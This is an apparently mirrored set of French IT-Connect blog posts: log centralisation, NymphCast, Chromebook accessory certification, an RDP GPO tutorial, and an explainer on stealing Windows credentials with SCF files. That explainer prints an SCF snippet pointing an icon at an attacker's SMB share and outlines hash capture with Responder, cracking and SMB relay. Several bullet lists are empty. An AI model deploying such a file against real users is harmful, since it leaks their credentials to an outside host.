PROJET AUTOBLOG


IT-Connect

Site original : IT-Connect

⇐ retour index

Centralisation des logs, un outil pour la sécurité

samedi 21 mars 2020 à 11:00

I. Présentation

Lorsque l'on entame la consolidation d'un système d'information, je pense que la première chose à faire est avant tout la centralisation des logs. Dans cet article, nous allons voir en quoi consiste la centralisation des logs, ce que cela apporte en matière de gestion et de sécurité et également des pistes d'outils à utiliser pour accomplir cette tâche.

La centralisation des logs est une opération simple à faire sur des systèmes d'information peu étendus (au niveau réseau comme au niveau géographique), cela s'avère plus complexe sur des SI de grande taille, mais c'est une opération à mener à tout prix pour éviter certains risques et avoir une vue réelle de l'état d'un système d'information.

II. Qu'est-ce que la centralisation des journaux d’événements (logs) ?

Un log, événement ou journal, est simplement la notification d'un événement d'une importance plus ou moins  élevée envoyée par un service, un système, un élément réseau ou une application. Les journaux d’événement permettent en administration systèmes, réseaux et en sécurité de retracer les actions et la vie d'un système. Les logs ont un intérêt et une importance cruciale en informatique, car il s'agit là de savoir ce qu'il s'est passé sur un ensemble d'applications ou systèmes pour pouvoir, par exemple :

Aujourd'hui, la grande majorité des systèmes, applications et éléments réseau produisent des logs. Dans la quasi-totalité des cas, les logs sont stockés de manière locale sur la machine :

Dans ce cadre, la centralisation des logs consiste simplement à mettre sur un même système, une même plateforme, l'ensemble des logs des systèmes, applications et services des machines environnantes. On reprend alors le principe de la supervision, dont la surveillance des logs doit être une branche, qui consiste à centraliser les éléments de surveillance sur une plate-forme unique. On appellera cela un point unique de communication, ou point unique de contact (Single Point Of Contact - SPOC) pour l'analyse des logs. La centralisation de l'information permettra ici de mener plusieurs opérations qui iront toutes dans le sens de la sécurité et de la meilleure gestion du système d'information.

Clairement, pourquoi centraliser les logs ?

Communément, deux raisons répondent à cette interrogation :

C'est en mon sens par là que devrait débuter la consolidation et la sécurisation d'un système d'information. La capacité à retrouver un événement même après une attaque ou un crash et à faire corréler un ensemble d’événements pour amener  à la meilleure gestion des systèmes permet d'avoir un appui solide pour la prise de décision quant à l'évolution du SI, mais aussi par rapport aux éventuels problèmes présents, mais non découverts. Lorsque l'on regarde les choses en face, les logs sur les systèmes et OS ne sont ouverts que quand un problème bloquant intervient et qu'ils peuvent alors nous aider à débugger une situation. Le reste du temps, les logs ne sont lus que par les scripts et les outils d'archivage ou de suppression. Or un événement, surtout lorsqu'il a une criticité élevée, est quelque chose dont il faut s'occuper. Soit pour le corriger, soit pour au moins savoir l'expliquer et connaître l'impact qu'il y a derrière ces avertissements.

La centralisation des logs, lorsqu'elle est couplée à des outils d'analyse, de traitements, d'indexation et encore mieux, de graphage, permet d'avoir de toutes ces lignes d'information un ensemble cohérent de données qu'il est possible de corréler. Le fait de corréler les logs signifie simplement que l'on met en relation plusieurs événements de systèmes et d'application pour reconstituer une action plus générale. Les logs d'une synchronisation rsync qui coupe brutalement entre deux serveurs Linux peut par exemple être corrélé avec la coupure du service SSH sur une des deux machines, expliquée elle-même par une mauvaise manipulation de l'administrateur système qui aura également laissé des traces dans les journaux d’événement en ouvrant son terminal sur la machine en question... L'exemple est ici simplissime, la corrélation des logs permet le plus souvent de retracer les attaques et les intrusions, par exemple en effectuant une analyse comportementale d'un attaquant. Nous sommes alors sur un niveau de complexité bien plus élevé, que je ne saurais expliquer ici pour le moment 🙂 .

III. Centralisation des logs, un processus en plusieurs étapes

La centralisation n'est pas un processus qui se fait du jour au lendemain, sauf si vous avez la chance et la bonne idée d'y penser dès les premiers pas de votre SI. La plupart du temps, la centralisation des logs implique de réfléchir à plusieurs étapes de mise en place. Communication entre différents systèmes, parcours des paquets au travers différents réseaux pour arriver à une même cible, catégories/organisation à avoir, informations à exporter et informations à mettre de côté... Voyons les différentes étapes qui peuvent guider la mise en place d'une centralisation de logs dans un SI.

A. Faire produire les logs

La première chose à faire est bien entendu de faire en sorte que les logs méritant d'être lus soient produits. Sur Cisco par exemple, la production des logs n'est pas activée par défaut. Sur d'autres systèmes, seuls les logs "CRITICAL" et supérieurs sont sauvegardés. Il peut alors, en fonction de notre besoin, rehausser ou abaisser la criticité des logs qui sont produits.

Également, il est important de calibrer correctement la production de logs. Il faut savoir que plus un service, un système ou une application produit de logs, plus celle-ci va consommer des ressources. Il est par exemple généralement déconseillé, sur les services de base de données comme MySQL, de faire produire trop de logs. Ces services ont généralement besoin d'être contactés rapidement et il n'est pas toujours possible de leur fait produire autant de logs qu'on le voudrait, car cela ralentirait les délais de traitements et de calculs.

Il faut donc veiller à correctement définir ce que l'on souhaite voir, ce que l'on souhaite garder en local et ce que l'on souhaite envoyer sur un serveur de logs distant. Cela demande un certain travail et une vision globale du système d'information, car il est nécessaire d'effectuer cette tâche sur tous les systèmes et les applications qui en ont besoin, tout dépendra donc de la taille de votre système d'information.

B. Envoyer les logs sur une plateforme commune

Une fois que l'on sait exactement quoi envoyer et centraliser, il faut maintenant savoir l'envoyer sur la plate-forme destinée à recevoir ces logs. On passe alors également par une phase de réflexion au niveau de l'architecture et de la configuration nécessaire :

C. Analyser, filtrer et organiser les logs

Maintenant que nos logs sont arrivés à destination et qu'ils sont dans un endroit sûr, il faut savoir quoi faire de ces journaux d’événements. Quand un log va arriver sur notre serveur de centralisation des logs, il va systématiquement devoir passer par différentes étapes.

Nous allons d'abord devoir trier ce flux d'information, on peut par exemple créer un répertoire par machine puis un fichier par service, ou alors un fichier par service dans lequel on pourra distinguer la provenance des lignes de logs par le nom de la machine l'ayant produit. L'organisation et le tri des logs se fait de toute manière par le service qui gérera sa réception (Rsyslog par exemple sous Linux).

Une fois que nos logs sont dans les bonnes étagères, il va alors être possible de les lire, les examiner, corriger leur position éventuellement pour arriver à l'objectif final de la centralisation des logs : la production d'un outil utile à la bonne gestion du système d'information.

D. Grapher, Rapporter, Alerter : L'apport en sécurité

La bonne gestion des logs dans notre serveur de centralisation des logs va permettre de produire différentes choses comme :

Les graphiques sont alors, comme dans la supervision, un élément pour avoir rapidement une vue de l'état d'un ou plusieurs systèmes. On va par exemple pouvoir grapher en direct le taux d'erreur 404 relevé sur l'ensemble de nos serveurs web et ainsi détecter un pic qui pourrait relever un problème plus grave. Également, il sera possible de grapher les échecs d'authentification SSH et, pourquoi pas, détecter une brute force via un pic représenté dans les graphiques. Outre des observations sur le coup, on pourra également, avec des données graphées, voir les tendances sur le long terme et ainsi mieux appréhender l'évolution d'un système ou d'un service.

IV. Pour commencer, quelques outils

Maintenant que nous avons vu en quoi consistait la centralisation des logs, voyons quelques outils qui sont généralement utilisés, soit pour la récolte, soit pour l'analyse des journaux d’événements centralisés :

Je suis loin d'avoir fait le tour des outils qui vous permettront de mettre en place la centralisation des logs dans vos parcs informatiques, mais il y en a un très grand nombre, que ce soit pour la centralisation en elle-même, pour l'indexation, le stockage ou le traitement (sécurité, graphique...). Il s'agit là d'un élément central de la sécurité d'un système d'information qui doit être pensé dès qu'il se met à grandir.

NymphCast : l’alternative Open Source à la Chromecast

vendredi 20 mars 2020 à 13:00

Si vous souhaitez trouver une alternative aux solutions propriétaires des géants américains, notamment la Chromecast de Google ou l'AirPlay d'Apple, la solution NymphCast pourrait vous intéresser.

Maya Posch, développeuse, travaille actuellement sur son nouveau projet : NymphCast. L'objectif de cette solution logicielle est simple : permettre la diffusion, en continu, de flux audio et vidéo au travers de votre réseau et via différentes plateformes.

Pour la partie hardware, vous me voyez venir : il s'agit d'une solution conçue pour tourner sur un Raspberry Pi et les alternatives qu'on lui connaît, notamment l'Orange Pi. Pour la partie Raspberry Pi, la solution est compatible avec l'ensemble des modèles. Ce projet est actuellement en phase alpha, mais ça peut être l'occasion déjà de commencer à le tester pour l'aider à grandir.

Pour diffuser le flux sur votre TV ou une enceinte, vous avez le choix puisque l'application NymphCast est disponible sur PC et Mac, mais également sur Android pour la partie mobile. Cette application de pilotage se nomme NymphCast Player.

Envie de le tester ? De remonter des bugs ou de t'investir dans ce projet ? C'est par ici : GitHub NymphCast

Vol d’identifiants Windows via fichier SCF

vendredi 20 mars 2020 à 09:00

I. Présentation

Dans cet article je vais vous présenter une attaque qui exploite le traitement des fichiers au format SCF par les systèmes d'exploitation Windows.

Les scripts SCF (Windows Explorer Command File)  sont assez vieux, puisque utilisés dés Windows 98. Ils permettent d'exécuter des commandes dans le contexte d'Explorer, le navigateur de fichier Windows. Par exemple afin d'automatiser une navigation dans le système de fichier, la modification des droits sur un fichier ou la manipulation de fichiers. Ces script sont toujours pris en compte et traités par les systèmes d’exploitation Windows récents.

II. Exploitation des fichiers SCF sous Windows

L'attaque que je vous présente aujourd'hui profite donc de la manière dont sont traités ces fichiers afin de procéder à un vol des identifiants utilisateur Windows.
Les fichiers SCF permettent entre autre de se voir définir un icône au travers une directive telle que celle-ci :

[Shell]
IconFile=Chemin\vers\icone

Avec cette directive, la navigateur de fichier Windows essaiera de charger l'image indiquée dés l'ouverture du répertoire contenant le fichier SCF, puisque c'est à ce moment là que l'icône du fichier est utile . Il est important de noter pour la suite que l'utilisateur n'a pas besoin de cliquer sur le fichier, uniquement d'ouvrir le répertoire le contenant. L'astuce qui entraine la possibilité d'attaque consiste à mettre, à la place d'un chemin local pour l'emplacement de l'icône, un emplacement distant, et plus précisément un chemin UNC vers un partage SMB distant, tel que celui-ci :

[Shell]
IconFile=\\192.168.56.102\icon

Dans ce contexte, le navigateur de fichier Windows va tenter d'aller chercher l'icône à l'emplacement indiqué, c'est à dire sur un partage SMB distant. Dans le cadre d'une attaque malveillante, ce partage SMB sera sur une machine contrôlée par l'attaquant.

Au passage, il est à noter que lorsque la requête SMB est automatiquement émise par la victime, celle-ci comporte également les éléments permettant une authentification de l'utilisateur, ceci afin d'être directement authentifié sur la cible SMB. Autrement dit, et dans le cas d'une attaque malveillante dans laquelle l'icône pointe vers un partage SMB contrôlé par l'attaquant, les éléments d'authentification de l'utilisateur sont envoyés automatiquement à l'attaquant. Voici la démonstration de cette attaque en vidéo :

J'ai ici utilisé Responder pour émuler un service SMB et capturer automatiquement la demande d'authentification. On voit ici deux choses :

Pour ne rien arranger, il s'avère que les fichiers SCF sont automatiquement téléchargés par le navigateur Google Chrome, alors que pour la grande majorité des autres types de fichiers, une confirmation utilisateur est demandée.

Enfin, un fichier nommé "image.jpg.scf" apparaitra sous le nom de "image.jpg" lorsque les navigateurs de fichier Windows seront configurés pour ne pas afficher les extensions de fichier, ce qui est le cas par défaut. On aura donc un fichier qui n'éveillera aucun soupçon, notamment lorsqu'il sera déposé dans un partage de fichier utilisé par plusieurs personnes.
A ce propos, on peut imaginer deux types de déploiement :

Dans le cas le plus critique, un attaquant peut tout simplement utiliser cette vulnérabilité afin de dérober des identifiants Windows au travers Internet, notamment avec le comportement de téléchargement automatique de Google Chrome (qui est assez étrange).

Le cas du déploiement d'un fichier SCF malveillant dans un partage réseau est assez critique également car plusieurs personnes seront alors susceptibles d'ouvrir le répertoire partagé concetenant ce fichier SCF malveillant, il s'agit d'un scénario d'attaque crédible pour les intrusions internes, dans lesquels le pentester est déjà présent sur le réseau de sa cible.

Les antivirus et navigateurs ne semblent pour l'instant pas prêter attention à ces fichiers SCF malveillants, mais on peut s'attendre à un changement de situation après l'apparition de cette attaque.

III. Pour aller plus loin

Les hashs récupérés sont des hashs NTLMv2, le cracking de hashs NTLMv2 n'est pas trivial mais est loin d'être inaccessible, l'utilisation de l'outil hashcat qui profite notamment de la puissance des GPU rend relativement accessible ce cracking de hash NTLMv2 (en comparaison au cracking de hash LM/NTLM qui lui est considéré comme trivial). Un attaquant pourra donc procéder à un cracking des hashs NTLMv2 récupérés une fois sont attaque terminée.

Également, il sera possible d'utiliser les hashs NTLMv2 dans le cadre d'une attaque SMB Relay, qui consiste à réutiliser information NTLMv2 obtenues pour s'authentifier vers d'autres services utilisant l'authentification NTLMv2 en se faisant passer pour la victime, il s'agit d'un cas d’exploitation hautement probable lors d'une intrusion interne, moins pour les exploitations depuis internet, les services Cloud utilisant rarement ce type d'authentification, exceptions faites des services de type Outlook ou Office 365.

IV. Les recommandations

Les recommandations pour éviter ce type d'attaque sont les suivantes :

Sources :

Works With Chromebook : la certification pour les accessoires Chromebook

jeudi 19 mars 2020 à 13:00

Google veut renforcer son écosystème Chromebook qui peut se féliciter de durer dans le temps, en proposant un programme de certification "Works With Chromebook" pour les accessoires 100% compatibles.

Dans le même esprit que pour les produits Nest et Pixels avec la certification "Made for Google", il y aura désormais un programme dédié aux Chromebook. Les premiers périphériques qui vont bénéficier de cette certification sont les claviers, les souris et les chargeurs.

Ce nouveau programme montre que la division Chromebook a une place importante chez Google et que le géant souhaite poursuivre sa marche en avant avec cet écosystème bien à part. Actuellement, de nombreux périphériques ne fonctionnent pas bien sous Chrome OS, alors que la majorité des périphériques sont compatibles avec Windows, Mac OS et bien souvent Linux. Cela peut s'avérer très frustrant lorsque l'on cherche à connecter une imprimante USB sur un Chromebook, ou une manette de jeu, etc.

Maintenant, c'est aux fabricants de jouer le jeu et de rendre compatibles certains périphériques afin qu'ils bénéficient du logo "Works With Chromebook". Pour le lancement de ce programme, Google peut compter sur 13 partenaires et pas des moindres : AbleNet, Anker, Belkin, Brydge, Cable Matters, Elecom, Hyper, Kensington, Logitech, Plugable, Satechi, StarTech, et pour finir Targus.

La mauvaise nouvelle c'est que pour le moment ces produits seront commercialisés seulement aux États-Unis, au Canada et au Japon. Nous devrons nous montrer patients.

Source

GPO : Autoriser un groupe à se connecter en RDP

jeudi 19 mars 2020 à 09:10

I. Présentation

Les admins du domaine et les comptes locaux d'un serveur sont autorisés par défaut à se connecter en Bureau à distance (RDP) sur le serveur. Dans un environnement professionnel, on peut avoir besoin d'autoriser un autre groupe, avec des utilisateurs classiques, à se connecter aux serveurs. En effet, sur un serveur il n'est pas forcément nécessaire d'être connecté en administrateur.

Pour cela, il n'est pas question de passer sur chaque serveur... Bon à la limite s'il y en a deux, trois, pourquoi pas, et encore le fait d'utiliser une GPO permet de forcer la configuration.

Dans ce tutoriel, nous allons voir comment créer une GPO pour autoriser un groupe à se connecter en RDP sur les serveurs.

II. Attribuer les droits RDP

Sur votre infrastructure, ouvrez la console de gestion de stratégie de groupe. Créez une nouvelle GPO à l'aide d'un clic droit, par exemple sur l'OU qui contient les serveurs cibles. Cliquez sur "Créer un objet GPO dans ce domaine, et le lier ici...".

Donnez un nom à la GPO, et parcourez les paramètres comme cela :

Configuration ordinateur > Stratégies > Paramètres Windows > Paramètres de sécurité > Stratégies locales > Attribution des droits utilisateur

A l'intérieur, vous allez trouver le paramètre "Autoriser l'ouverture de session par les services Bureau à distance".

Ouvrez ce paramètre, et cliquez sur "Définir ces paramètres de stratégie" et cliquez sur "Ajouter un utilisateur ou un groupe". Ensuite, cliquez sur "Parcourir" pour rechercher dans l'annuaire l'objet à ajouter. C'est plus sûr que de saisir le nom directement dans la zone de saisie car il n'y a pas de contrôle de cohérence qui vérifie si le groupe/utilisateur existe vraiment.

Vous pouvez ajouter plusieurs utilisateurs ou groupes, l'avantage d'utiliser un groupe c'est qu'il suffit de l'alimenter ensuite dans l'annuaire Active Directory.

Il ne reste plus qu'à valider le paramétrage et d'attendre que la GPO se déploie sur vos serveurs. Ensuite, il faudra tester cette nouvelle configuration ! 🙂